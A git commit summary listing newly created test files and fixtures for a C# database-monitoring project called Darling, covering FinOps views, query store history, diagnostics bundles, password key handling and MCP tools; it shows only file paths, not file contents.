 create mode 100644 Darling/Darling.Tests/DarlingModuleMapRecentRefreshLiveTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingOwnedSecretsCensusTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingPasswordKeyFileHardeningTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingPasswordKeyFileTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingPasswordKeyFileUnixTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingPasswordKeyRuntimeTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingPasswordKeyStateTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingPasswordKeyStoreLiveTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingPgUnresolvedZoneWarningTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingReproScriptParityTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingRunTimeSchedulingTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingSecretsCanUnprotectTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingSecretsOwnedReferenceTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingSelfQueryMarkerTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingUnknownNetworkKeyTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingUpgradeShapesWorkflowTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingWebSecurityHeadersTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingWebhookSecretsTests.cs
 create mode 100644 Darling/Darling.Tests/DarlingWorkerServerClockLiveTests.cs
 create mode 100644 Darling/Darling.Tests/DataWindowFloorSnapshotAndRunLogLiveTests.cs
 create mode 100644 Darling/Darling.Tests/DataWindowFloorTests.cs
 create mode 100644 Darling/Darling.Tests/DatabaseConfigWebColumnsTests.cs
 create mode 100644 Darling/Darling.Tests/DatabaseFilterBindingLiveTests.cs
 create mode 100644 Darling/Darling.Tests/DatabaseFilterEmptyAnswerLiveTests.cs
 create mode 100644 Darling/Darling.Tests/DatabaseNameHistoryTests.cs
 create mode 100644 Darling/Darling.Tests/DatabaseNameParamTwinTests.cs
 create mode 100644 Darling/Darling.Tests/DeadlockProcessRowsTests.cs
 create mode 100644 Darling/Darling.Tests/DesktopDatabaseFilterLiveTests.cs
 create mode 100644 Darling/Darling.Tests/DiagnosticsBundleAliasHardeningTests.cs
 create mode 100644 Darling/Darling.Tests/DiagnosticsBundleAliasTests.cs
 create mode 100644 Darling/Darling.Tests/DiagnosticsBundleExitCodeTests.cs
 create mode 100644 Darling/Darling.Tests/DiagnosticsBundleHardeningTests.cs
 create mode 100644 Darling/Darling.Tests/DiagnosticsBundleHealthUncutLiveTests.cs
 create mode 100644 Darling/Darling.Tests/DiagnosticsBundleLeakLiveTests.cs
 create mode 100644 Darling/Darling.Tests/DiagnosticsBundleRound2Tests.cs
 create mode 100644 Darling/Darling.Tests/DiagnosticsBundleSealedTextTests.cs
 create mode 100644 Darling/Darling.Tests/DiagnosticsBundleSecretTests.cs
 create mode 100644 Darling/Darling.Tests/DiagnosticsBundleSeedFailureLiveTests.cs
 create mode 100644 Darling/Darling.Tests/DiagnosticsBundleServiceLogTests.cs
 create mode 100644 Darling/Darling.Tests/DiagnosticsBundleSizeTests.cs
 create mode 100644 Darling/Darling.Tests/DiagnosticsBundleStatementFilterTests.cs
 create mode 100644 Darling/Darling.Tests/DiagnosticsBundleStoreHistoryLiveTests.cs
 create mode 100644 Darling/Darling.Tests/DiagnosticsBundleVerbTests.cs
 create mode 100644 Darling/Darling.Tests/DiagnosticsBundleWebhookOpenTests.cs
 create mode 100644 Darling/Darling.Tests/DropXeSessionsPerInstallTests.cs
 create mode 100644 Darling/Darling.Tests/DropXeSessionsReadOnlyIntentTests.cs
 create mode 100644 Darling/Darling.Tests/DurationTrendDatabaseFilterLiveTests.cs
 create mode 100644 Darling/Darling.Tests/EffectiveStartUtcTests.cs
 create mode 100644 Darling/Darling.Tests/EmptyAnswerDatabaseEchoTests.cs
 create mode 100644 Darling/Darling.Tests/EmptyDatabaseListNoteLiveTests.cs
 create mode 100644 Darling/Darling.Tests/EmptyDatabaseListNoteTests.cs
 create mode 100644 Darling/Darling.Tests/EventsDatabaseFilterLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FileIoDatabaseFilterLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsApplicationConnectionsGoldenLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsApplicationConnectionsViewTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsClickThroughRulesTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsCostTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsDatabaseResourcesGoldenLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsDatabaseResourcesViewTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsDatabaseSizesViewTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsHighImpactReaderLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsHotspotRegionTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsIdleCoverageInventoryLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsIdleCoverageLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsIdleCoverageSeed.cs
 create mode 100644 Darling/Darling.Tests/FinOpsIndexAnalysisGoldenLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsIndexAnalysisLatestSnapshotLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsIndexAnalysisLatestTiebreakTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsIndexAnalysisLimitBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsIndexAnalysisViewLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsIndexAnalysisViewSizeTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsIndexAnalysisViewTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsInventoryGoldenLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsInventoryHealthScoreLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsInventoryToolParityLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsInventoryViewerFiguresTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsLockingDetailBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsLockingHeatBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsLockingPickerBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsOptimizationGoldenLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsOptimizationTieBreakTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsOptimizationViewTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsPageShellTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsPostgresTargetTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsRecommendationFiguresTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsRecommendationsCharacterizationTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsRecommendationsGoldenLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsRecommendationsReadsLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsRecommendationsSecondaryReplicaLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsRecommendationsToolParityLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsServerChoiceTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsStorageGrowthGoldenLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsStorageGrowthViewTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsStorageGrowthWindowBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsTabApplicationConnectionsPageTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsTabDatabaseResourcesPageTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsTabDatabaseSizesPageTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsTabHighImpactPageTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsTabIndexAnalysisPageTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsTabLockingPageTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsTabOptimizationPageTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsTabPvsPageTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsTabRecommendationsPageTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsTabServerInventoryPageTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsTabStorageGrowthPageTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsTabSystemEventsColumnsPageTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsTabUtilizationPageTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsTabUtilizationRawPageTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsUtilizationFiguresLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsUtilizationFiguresTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsUtilizationGoldenLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsUtilizationViewLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsWebReadParityLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FinOpsWindowPickerBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/Fixtures/FinOpsApplicationConnections/golden.json
 create mode 100644 Darling/Darling.Tests/Fixtures/FinOpsDatabaseResources/golden.json
 create mode 100644 Darling/Darling.Tests/Fixtures/FinOpsIndexAnalysis/golden.json
 create mode 100644 Darling/Darling.Tests/Fixtures/FinOpsInventory/golden.json
 create mode 100644 Darling/Darling.Tests/Fixtures/FinOpsOptimization/golden.json
 create mode 100644 Darling/Darling.Tests/Fixtures/FinOpsRecommendations/golden.json
 create mode 100644 Darling/Darling.Tests/Fixtures/FinOpsStorageGrowth/golden.json
 create mode 100644 Darling/Darling.Tests/Fixtures/FinOpsUtilization/golden.json
 create mode 100644 Darling/Darling.Tests/Fixtures/PasswordSeal/linux-self-check-vector.json
 create mode 100644 Darling/Darling.Tests/Fixtures/StatementScrub/autoparam_select_adhoc_shell.xml
 create mode 100644 Darling/Darling.Tests/Fixtures/StatementScrub/autoparam_select_prepared.xml
 create mode 100644 Darling/Darling.Tests/Fixtures/StatementScrub/autoparam_update_adhoc_shell.xml
 create mode 100644 Darling/Darling.Tests/Fixtures/StatementScrub/autoparam_update_prepared.xml
 create mode 100644 Darling/Darling.Tests/Fixtures/StatementScrub/two_statements.xml
 create mode 100644 Darling/Darling.Tests/Fixtures/column-value-filter-cases.json
 create mode 100644 Darling/Darling.Tests/Fixtures/migration-ladder-v3.9.0.sql
 create mode 100644 Darling/Darling.Tests/Fixtures/time-range-cases.json
 create mode 100644 Darling/Darling.Tests/FleetGateStartupTests.cs
 create mode 100644 Darling/Darling.Tests/FleetPgDeadlockFlatPairLiveTests.cs
 create mode 100644 Darling/Darling.Tests/FleetSilenceBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/FleetSilencePageTests.cs
 create mode 100644 Darling/Darling.Tests/GatedCollectorRowsTests.cs
 create mode 100644 Darling/Darling.Tests/GenericWebhookHeadersOriginTests.cs
 create mode 100644 Darling/Darling.Tests/GridAdoptionBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/GridFilterBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/GridSortBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/GridToolsBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/GridValueFilterBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/GuardStageCensusTests.cs
 create mode 100644 Darling/Darling.Tests/GuardStageScanner.cs
 create mode 100644 Darling/Darling.Tests/GuardStageWorkflowTests.cs
 create mode 100644 Darling/Darling.Tests/InstallIdRungTests.cs
 create mode 100644 Darling/Darling.Tests/InstallIdTableOidRungTests.cs
 create mode 100644 Darling/Darling.Tests/IntervalRollupCountGuardLiveTests.cs
 create mode 100644 Darling/Darling.Tests/IoHourlyRollupTests.cs
 create mode 100644 Darling/Darling.Tests/JobHistoryCountTextTests.cs
 create mode 100644 Darling/Darling.Tests/JobHistoryPageTests.cs
 create mode 100644 Darling/Darling.Tests/JobHistorySqlTextPinTests.cs
 create mode 100644 Darling/Darling.Tests/LatestCollectorOutcomeOrderTests.cs
 create mode 100644 Darling/Darling.Tests/LatestCollectorOutcomePlanTests.cs
 create mode 100644 Darling/Darling.Tests/LaunchMemoryGuardTests.cs
 create mode 100644 Darling/Darling.Tests/LegacyLongQueryRecordLiveTests.cs
 create mode 100644 Darling/Darling.Tests/LegacyPinCandidateRungTests.cs
 create mode 100644 Darling/Darling.Tests/LegacyPinResolverLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ListenerTlsFailedStartTests.cs
 create mode 100644 Darling/Darling.Tests/LiteReadsTraitGuardTests.cs
 create mode 100644 Darling/Darling.Tests/LiveClock.cs
 create mode 100644 Darling/Darling.Tests/LiveClockCensusTests.cs
 create mode 100644 Darling/Darling.Tests/LiveStoreSessionTimeZone.cs
 create mode 100644 Darling/Darling.Tests/LiveStoreSessionTimeZoneTests.cs
 create mode 100644 Darling/Darling.Tests/LongQueryBannerSessionScopeTests.cs
 create mode 100644 Darling/Darling.Tests/LongQueryTraceInstanceGuardTests.cs
 create mode 100644 Darling/Darling.Tests/LongQueryTraceLifecycleTests.cs
 create mode 100644 Darling/Darling.Tests/LongQueryTraceReadOnlyIntentTests.cs
 create mode 100644 Darling/Darling.Tests/LongQueryTraceRemovalTests.cs
 create mode 100644 Darling/Darling.Tests/LongQueryTraceRestartTests.cs
 create mode 100644 Darling/Darling.Tests/LongQueryTraceRunRowLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ManageTagsBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/ManageTagsPageTests.cs
 create mode 100644 Darling/Darling.Tests/ManagedConfWalRungStabilityTests.cs
 create mode 100644 Darling/Darling.Tests/MaterializationHoleProbeLiveTests.cs
 create mode 100644 Darling/Darling.Tests/McpArgumentTypeRows.cs
 create mode 100644 Darling/Darling.Tests/McpArgumentTypeTests.cs
 create mode 100644 Darling/Darling.Tests/McpInProcessHost.cs
 create mode 100644 Darling/Darling.Tests/McpToolGuideHeads.FinOps.cs
 create mode 100644 Darling/Darling.Tests/McpToolGuideHeads.FinOpsInventory.cs
 create mode 100644 Darling/Darling.Tests/McpToolGuideHeads.FinOpsRecommendations.cs
 create mode 100644 Darling/Darling.Tests/McpToolsListBudget/DarlingMcpFinOpsInventoryTools.txt
 create mode 100644 Darling/Darling.Tests/McpToolsListBudget/DarlingMcpFinOpsRecommendationsTools.txt
 create mode 100644 Darling/Darling.Tests/McpToolsListBudget/DarlingMcpFinOpsTools.txt
 create mode 100644 Darling/Darling.Tests/McpToolsListBudget/DarlingMcpQueryStoreHistoryTools.txt
 create mode 100644 Darling/Darling.Tests/McpToolsListBudget/DarlingMcpServerTagTools.txt
 create mode 100644 Darling/Darling.Tests/McpToolsListBudget/DarlingMcpServerTrendTools.txt
 create mode 100644 Darling/Darling.Tests/McpToolsListBudget/DarlingMcpSlowReadTools.txt
 create mode 100644 Darling/Darling.Tests/McpToolsListBudget/DarlingMcpStoreQueryHistoryTools.txt
 create mode 100644 Darling/Darling.Tests/McpWholeNumberArgumentTests.cs
 create mode 100644 Darling/Darling.Tests/MigrationLockHolderLogTests.cs
 create mode 100644 Darling/Darling.Tests/MigrationLockUncontendedAcquireTimingTests.cs
 create mode 100644 Darling/Darling.Tests/MuteRulesBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/MuteRulesPageTests.cs
 create mode 100644 Darling/Darling.Tests/NewestSnapshotReadsLiveTests.cs
 create mode 100644 Darling/Darling.Tests/NightlyCheckoutCommitPinTests.cs
 create mode 100644 Darling/Darling.Tests/NoInternalBusFilesGuardTests.cs
 create mode 100644 Darling/Darling.Tests/ObjectLockingDetailLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ObjectLockingHeatLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ObjectStatsDatabaseFilterLiveTests.cs
 create mode 100644 Darling/Darling.Tests/OversizedPlanBacklogJudgeRetireLivePostgresTests.cs
 create mode 100644 Darling/Darling.Tests/OwnedSecretReferenceRefusalTests.cs
 create mode 100644 Darling/Darling.Tests/PagerDutyAutoResolveRungTests.cs
 create mode 100644 Darling/Darling.Tests/PasswordBindingCensusTests.cs
 create mode 100644 Darling/Darling.Tests/PasswordKeyGrantParityTests.cs
 create mode 100644 Darling/Darling.Tests/PasswordKeyRungTests.cs
 create mode 100644 Darling/Darling.Tests/PasswordKeySeamLiveTests.cs
 create mode 100644 Darling/Darling.Tests/PasswordKeySelfCheckTests.cs
 create mode 100644 Darling/Darling.Tests/PasswordKeyTablesLiveTests.cs
 create mode 100644 Darling/Darling.Tests/PasswordSealTests.cs
 create mode 100644 Darling/Darling.Tests/PayloadDigestPassThroughLiveTests.cs
 create mode 100644 Darling/Darling.Tests/PerfmonRegroupGateTests.cs
 create mode 100644 Darling/Darling.Tests/PerfmonRegroupLiveSupport.cs
 create mode 100644 Darling/Darling.Tests/PerfmonRegroupLiveTests.cs
 create mode 100644 Darling/Darling.Tests/PerfmonRegroupTimingLiveTests.cs
 create mode 100644 Darling/Darling.Tests/PgClusterObjectCensusTests.cs
 create mode 100644 Darling/Darling.Tests/PgClusterRolesCollection.cs
 create mode 100644 Darling/Darling.Tests/PgDeadlockRemaskAlertPagingLiveTests.cs
 create mode 100644 Darling/Darling.Tests/PgDeadlockRemaskFindingsPagingLiveTests.cs
 create mode 100644 Darling/Darling.Tests/PgEventToolsWindowFloorLiveTests.cs
 create mode 100644 Darling/Darling.Tests/PgGridsMcpDataStartLiveTests.cs
 create mode 100644 Darling/Darling.Tests/PgIoStatsHourlyTests.cs
 create mode 100644 Darling/Darling.Tests/PgPlanShapeHashTests.cs
 create mode 100644 Darling/Darling.Tests/PgPlanViewerBehaviourTests.cs
 delete mode 100644 Darling/Darling.Tests/PgSettingRedactorTimingCollection.cs
 create mode 100644 Darling/Darling.Tests/PgStatementTextFailureRecordingTests.cs
 create mode 100644 Darling/Darling.Tests/PgStatementTextHealthSemanticsTests.cs
 create mode 100644 Darling/Darling.Tests/PgWriteStatsAndIndexUsageWindowNoticeTests.cs
 create mode 100644 Darling/Darling.Tests/PlanDigestCacheTests.cs
 create mode 100644 Darling/Darling.Tests/PlanRegressionBuiltDaysFallbackLiveTests.cs
 create mode 100644 Darling/Darling.Tests/PlanRegressionDailyBoundaryTests.cs
 create mode 100644 Darling/Darling.Tests/PlanRegressionDailyBuilderLiveTests.cs
 create mode 100644 Darling/Darling.Tests/PlanRegressionDailyParityLiveTests.cs
 create mode 100644 Darling/Darling.Tests/PlanRegressionDailyReadShapeLiveTests.cs
 create mode 100644 Darling/Darling.Tests/PlanRegressionDailyRungTests.cs
 create mode 100644 Darling/Darling.Tests/PlanRegressionDailyTriggerCostRig.cs
 create mode 100644 Darling/Darling.Tests/PlanRegressionDailyTriggerLiveTests.cs
 create mode 100644 Darling/Darling.Tests/PlanRegressionDrillDownWindowStartLiveTests.cs
 create mode 100644 Darling/Darling.Tests/PlanRegressionTimeoutCaveatTests.cs
 create mode 100644 Darling/Darling.Tests/PlanRowBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/PlanViewerBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/PostgresOpenTimeoutTests.cs
 create mode 100644 Darling/Darling.Tests/ProcedureStatsDeferredPlanFetchLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ProcedureStatsFloorAndHistoryLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ProcedureStatsIdleHoursLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ProcedureStatsIdleRowsLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ProcedureStatsIdleSkipTests.cs
 create mode 100644 Darling/Darling.Tests/ProcedureStatsPlanFetchTests.cs
 create mode 100644 Darling/Darling.Tests/ProcedureStatsPlanReuseTests.cs
 create mode 100644 Darling/Darling.Tests/ProcedureStatsSqlGoldenTests.cs
 create mode 100644 Darling/Darling.Tests/ProcedureTrendHourlyQueryViewPinTests.cs
 create mode 100644 Darling/Darling.Tests/ProcedureTrendQueryViewPinTests.cs
 create mode 100644 Darling/Darling.Tests/ProcedureTrendRunModelLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ProvisioningSerializationTests.cs
 create mode 100644 Darling/Darling.Tests/PublicConnectCatalogReadLiveTests.cs
 create mode 100644 Darling/Darling.Tests/PublicConnectDelta.cs
 create mode 100644 Darling/Darling.Tests/PublicConnectGuardAttribute.cs
 create mode 100644 Darling/Darling.Tests/PublicConnectGuardTests.cs
 create mode 100644 Darling/Darling.Tests/PurgeContinuationTests.cs
 create mode 100644 Darling/Darling.Tests/PvsSkippedFieldsParityLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryEventsDatabaseFilterLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryReadsWebDispatchLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStatsDeferredPlanFetchLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStatsHourLedgerTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStatsHourLedgerWriterLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStatsHourLedgerWriterTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStatsLedgerSeed.cs
 create mode 100644 Darling/Darling.Tests/QueryStatsPlanFetchTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStatsSqlGoldenTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStatsWriterCensusPins.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreAzureLoopWatermarkLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreBackfillCandidateCacheLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreBackfillDroppedDatabaseTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreBackgroundIndexesLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreBackgroundIndexesTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreComposeStampLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreComposeStampRaceLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreComposeStampTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreComposeStampWriterGuardLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreGroupMembersLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreGroupMembersTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreHistoryBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreHistoryLivePostgresTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreHistoryPanelStateTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreHistoryWideTierLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreIntervalBoundedReadPruningLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreIntervalBrinLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreIntervalConvergenceLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreIntervalFloorWarmUpTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreIntervalMaintenancePassLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreIntervalPartitionRungTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreIntervalPartitionedStoreMetricsLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreIntervalPartitionsLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreIntervalPartitionsTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreIntervalPurgeRowCappedTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreIntervalRetentionLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreIntervalRetentionPinTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreIntervalRetentionTestKit.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreLegacyRowIndexLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStorePlanViaMapLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreRankedHarness.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreReadsDatabaseFilterLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreTopDailyBuilderLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreTopDailyReadLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreTopDailyRungTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreWideFleetEligibilityLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreWideReadGuardTests.cs
 create mode 100644 Darling/Darling.Tests/QueryStoreWideUpperBoundLiveTests.cs
 create mode 100644 Darling/Darling.Tests/QuietServerWatermarkLadderLiveTests.cs
 create mode 100644 Darling/Darling.Tests/RawWindowFloorQuietStartTests.cs
 create mode 100644 Darling/Darling.Tests/RdsAssumeRoleSeamTests.cs
 create mode 100644 Darling/Darling.Tests/RdsEndpointVerifierTests.Login.cs
 create mode 100644 Darling/Darling.Tests/RdsEndpointVerifierTests.cs
 create mode 100644 Darling/Darling.Tests/RdsLogStateConcurrencyTests.cs
 create mode 100644 Darling/Darling.Tests/ReadLatencyBudgetEdgeTests.cs
 create mode 100644 Darling/Darling.Tests/ReadScopeGateFaultLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ReadScopeStatementCaptureLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ReadScopeTests.cs
 create mode 100644 Darling/Darling.Tests/ReenterLineTests.cs
 create mode 100644 Darling/Darling.Tests/ReleaseStatementGateWorkflowTests.cs
 create mode 100644 Darling/Darling.Tests/ReleaseWalkWordingTests.cs
 create mode 100644 Darling/Darling.Tests/ReproScriptLivePostgresTests.cs
 create mode 100644 Darling/Darling.Tests/RestartRowIndexLiveTests.cs
 create mode 100644 Darling/Darling.Tests/RetentionCollectionYieldLiveTests.cs
 create mode 100644 Darling/Darling.Tests/RetentionCollectionYieldTests.cs
 create mode 100644 Darling/Darling.Tests/RetiredBaselineSweepRecoveryTests.cs
 create mode 100644 Darling/Darling.Tests/RollupCoverageWarmupTests.cs
 create mode 100644 Darling/Darling.Tests/RollupFloorStoreCacheTests.cs
 create mode 100644 Darling/Darling.Tests/RollupIoFloorFillLiveTests.cs
 create mode 100644 Darling/Darling.Tests/RowPlanReadLivePostgresTests.cs
 create mode 100644 Darling/Darling.Tests/ScratchDatabaseDisposalCensusTests.cs
 create mode 100644 Darling/Darling.Tests/ScratchDatabaseSweep.cs
 create mode 100644 Darling/Darling.Tests/ScratchDatabaseSweepLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ScratchDatabaseSweepTests.cs
 create mode 100644 Darling/Darling.Tests/ScratchPostgresExitDrainTests.cs
 create mode 100644 Darling/Darling.Tests/ScratchPostgresQuiesceTests.cs
 create mode 100644 Darling/Darling.Tests/SealedSecretResolverTests.cs
 create mode 100644 Darling/Darling.Tests/SecondaryReplicaScopeLiveTests.cs
 create mode 100644 Darling/Darling.Tests/SecondaryReplicaScopeTests.cs
 create mode 100644 Darling/Darling.Tests/SelfAlertFleetPassTests.cs
 create mode 100644 Darling/Darling.Tests/SelfManagedStoreRulesStartPinTests.cs
 create mode 100644 Darling/Darling.Tests/SensitiveStatementAutoParamTests.cs
 create mode 100644 Darling/Darling.Tests/SensitiveStatementCorpus.cs
 create mode 100644 Darling/Darling.Tests/SensitiveStatementHostFilterTests.cs
 create mode 100644 Darling/Darling.Tests/SensitiveStatementJsonTests.cs
 create mode 100644 Darling/Darling.Tests/SensitiveStatementOutputFilterTests.cs
 create mode 100644 Darling/Darling.Tests/SensitiveStatementRawCleanTests.cs
 create mode 100644 Darling/Darling.Tests/SensitiveStatementSessionTests.cs
 create mode 100644 Darling/Darling.Tests/SensitiveStatementXmlTests.cs
 create mode 100644 Darling/Darling.Tests/SensitiveStatementsParityLiveTests.cs
 create mode 100644 Darling/Darling.Tests/SensitiveStatementsTests.cs
 create mode 100644 Darling/Darling.Tests/ServerAddRouteTests.cs
 create mode 100644 Darling/Darling.Tests/ServerAddViewerRoleLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ServerDatabasesEndpointLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ServerEditCoreTests.cs
 create mode 100644 Darling/Darling.Tests/ServerEditGateLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ServerEditLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ServerEditPasswordRuleViewerTests.cs
 create mode 100644 Darling/Darling.Tests/ServerEditRouteTests.cs
 create mode 100644 Darling/Darling.Tests/ServerEditViewerRoleLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ServerIdentityLockLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ServerIdentityLockSourcePinTests.cs
 create mode 100644 Darling/Darling.Tests/ServerPasswordFromRequestTests.cs
 create mode 100644 Darling/Darling.Tests/ServerRemovalClearsTagsLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ServerTabColumnGroupsPinTests.cs
 create mode 100644 Darling/Darling.Tests/ServerTabEmptyStatesAndHeadersTests.cs
 create mode 100644 Darling/Darling.Tests/ServerTabGridColumnPinTests.cs
 create mode 100644 Darling/Darling.Tests/ServerTabToolbarAndTooltipsTests.cs
 create mode 100644 Darling/Darling.Tests/ServerTagCoverageTests.cs
